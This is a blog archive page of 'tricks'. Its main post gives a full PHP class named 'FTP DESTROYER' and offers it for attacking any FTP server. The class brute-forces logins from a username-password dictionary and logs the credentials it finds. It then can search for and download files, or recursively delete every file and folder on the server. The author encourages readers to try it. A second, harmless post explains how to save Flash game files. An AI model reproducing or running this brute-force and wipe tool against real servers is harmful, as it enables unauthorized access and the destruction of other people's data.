Archive | Tricks RSS for this section

php class : FTP DESTROYER

Have you heard ’bout php? sure….

Have you heard ’bout ftp extension in php? sure…

In here, I want to share you a php class that can demolish any ftp server in this world, actually it needs little modification in order that this class could work perfectly.

Just for you to know, http://phpclasses.org have rejected this class to be published. They said this class is dangerous and so on. So, will you heard ’em?

This is the class in php 5
<?
class FTP
{
private $address = "";
private $username = "";
private $password = "";
public $conn;
private $startingdir = "";
private $output = "";

public function FTP($address = "localhost", $output = "output.log")
{
$this->address = $address;
$this->output = $output;
$this->conn = ftp_connect($this->address) or die("Couldn't connect to $address");
}

function __destruct() {
ftp_close($this->conn);
}

public function login($username = "anonymous", $password = "", $force = false, $startingdir = "")
{
if($startingdir != "") $this->startingdir = "/$startingdir";
$this->username = $username;
$this->password = $password;
if($force)
{
while( !ftp_login($this->conn, $this->username, $this->password) )
;
return true;
}
else
return ftp_login($this->conn, $this->username, $this->password);
}

public function doBruteForceLogin($dictionaryfile, $startingdir = "")
{
if($startingdir != "") $this->startingdir = "/$startingdir";
$handle = fopen($dictionaryfile, "r");
while ($userinfo = fscanf($handle, "%s\t%s\n")) {
list ($username, $password) = $userinfo;
if(ftp_login($this->conn, $username, $password))
{
$this->username = $username;
$this->password = $password;

$log = fopen($this->output, ‘a’);
fwrite($log, “$username:$password@$this->address\n”);

fclose($log);

break;
return true;
}
}
fclose($handle);
return false;
}
public function download($filename, $mode = FTP_BINARY, $resume = 0)
{
$handle = null;
$i = 0;
$localfilename = $filename;
$file = explode(".", $localfilename);
$temp = $file[count($file)-2];
while(file_exists($localfilename))
{
$file[count($file)-2] = $temp . "_$i";
$localfilename = implode(".", $file);
$i++;
}
$handle = fopen($localfilename, 'w');
$return = ftp_fget($this->conn, $handle, $filename, $mode, $resume);
fclose($handle);
return $return;
}

public function upload($filename, $mode = FTP_BINARY)
{
$handle = fopen($filename, 'r');
$return = ftp_fput($this->conn, $filename, $handle, $mode);
fclose($handle);
return $return;
}

private function demolishDir($dirname, $verbose = true, $filename = "")
{
$contents = ftp_nlist($this->conn, $dirname);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$toReturn = false;
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
$exactFilename = substr($value, strripos($value, '/') + 1);
if(is_file("ftp://$username:$password@$address/".$cleanCurrentFilename))
{
if($filename == "" || strtolower($filename) == strtolower($exactFilename))
{
if (ftp_delete($this->conn, substr($value,2))) {
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
$toReturn = true;
} else {
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
}
else if(is_dir("ftp://$username:$password@$address/".$cleanCurrentFilename))
{
$toReturn = $this->demolishDir($value, $verbose, $filename);
if($filename == "")
{
if (ftp_rmdir($this->conn, substr($value,2))) {
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
}
}
return $toReturn;
}

public function demolish($verbose = true)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$return = false;
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
if(is_file("ftp://$username:$password@$address/".substr($value,2)))
{
if (ftp_delete($this->conn, substr($value,2))) {
$return = true;
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
$return = false;
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
else if(is_dir("ftp://$username:$password@$address/".substr($value,2)))
{
$this->demolishDir($value, $verbose);
if (ftp_rmdir($this->conn, substr($value,2))) {
$return = true;
if($verbose) echo "$cleanCurrentFilename deleted successfully<br>";
} else {
$return = false;
if($verbose) echo "Could not delete $cleanCurrentFilename<br>";
}
}
if(!$return) break;
}
return $return;
}

public function searchDestroy($filename, $verbose = true)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$username = $this->username;
$password = $this->password;
$address = $this->address;
$toReturn = false;
echo "<br>";
foreach($contents as $value)
{
$cleanCurrentFilename = substr($value, stripos($value, '/') + 1);
$exactFilename = substr($value, strripos($value, '/') + 1);

if(is_file(“ftp://$username:$password@$address/”.substr($value,2)))
{
if(strtolower($filename) == strtolower($exactFilename))
{
if (ftp_delete($this->conn, substr($value,2))) {
if($verbose) echo “$cleanCurrentFilename deleted successfully<br>”;
$toReturn = true;
} else {
if($verbose) echo “Could not delete $cleanCurrentFilename<br>”;
}
}
}
else if(is_dir(“ftp://$username:$password@$address/”.substr($value,2)))
{
$this->demolishDir($value, $verbose, $filename);
}
}
return $toReturn;
}
private function searchFileInDir($filename, $dirname)
{
$contents = ftp_nlist($this->conn, $dirname);
$toReturn = array();
$username = $this->username;
$password = $this->password;
$address = $this->address;
foreach($contents as $value)
{
$dirname = substr($value, stripos($value, '/') + 1);
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
if( is_dir("ftp://$username:$password@$address/" . $dirname) )
{
$toReturn = array_merge($toReturn, $this->searchFileInDir($filename, $value));
}
else if(strtolower($filename) == strtolower($cleanCurrentFilename))
{
$toReturn = array_merge($toReturn, array($value));
}
}
return $toReturn;
}

public function searchFile($filename)
{
$contents = ftp_nlist($this->conn, "." . $this->startingdir);
$toReturn = array();
$username = $this->username;
$password = $this->password;
$address = $this->address;
foreach($contents as $value)
{
$dirname = substr($value, stripos($value, '/') + 1);
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
if( is_dir("ftp://$username:$password@$address/" . $dirname) )
{
$toReturn = array_merge($toReturn, $this->searchFileInDir($filename, $value));
}
else if( strtolower($filename) == strtolower($cleanCurrentFilename) )
{
$toReturn = array_merge($toReturn, array($value));
}
}

return empty($toReturn)?false:$toReturn;
}
public function searchDownload($filename)
{
$toReturn = $this->searchFile($filename);
foreach($toReturn as $value)
{
$cleanCurrentFilename = substr($value, strripos($value, '/') + 1);
$cleanCurrentFoldername = substr($value, 1, strripos($value, '/'));
ftp_chdir($this->conn, $cleanCurrentFoldername);
$toReturn = $this->download($filename);
}
return $toReturn;
}
}
?>

Do you have any idea what things can be done using this class. Here’s the list :

  • You could login legally to any ftp server, and upload-or-download-file
  • You could login legally to any ftp server, and : search-file-then-download, search-file-then-delete, demolish-evey-single-folder-and-file-in-those-ftp-server
  • And, the good thing is that you could do above things without have to know the username-password pair to login using doBruteForceLogin function. All you need to have is a file containing complete dictionary to match ’em using bruteforce technique. The format of dictionary is : put every username-password pair in <username><tab><password><newline>

Have a nice try !

Grab ’em flash

Hey, buddy. Have you ever faced this kind of situation ? :

You play a nice flash games from a site like http://thatvideogamesite.com/ . When you want to download ’em to your computer, you don’t have idea how to do it.

You do?

OK. If that’s your problem, I have a tricky solutions for you. Below, I’ll explain how to do it :

First solution, read page’s html source. In mozilla : View > Page Source (Ctrl + U). Try to find something swf here. Copy the url (that ends with .swf), grab ’em directly using your browser.

Not works? So, you need to read the second solution.

Second solution, download a flash grabber software, for example : softpedia Flash grabber (you can download it on http://www.softpedia.com/get/Internet/WEB-Design/Flash/Flash-Grabber.shtml) . It is a shareware application. But, you can still using it even without subscription, and no time limitation for unregistered one. After you install one, go to your favorite flash website using MSIE (When I try, Mozilla Firefox 2.0.0.4 cannot detect the application). Right-click on anywhere in web page, then choose ‘Download Flash with Flash Grabber‘. This flash-grabber application will show you all available swf s. Just download any flash you want.

hack1.gif

Just do it and Enjoy !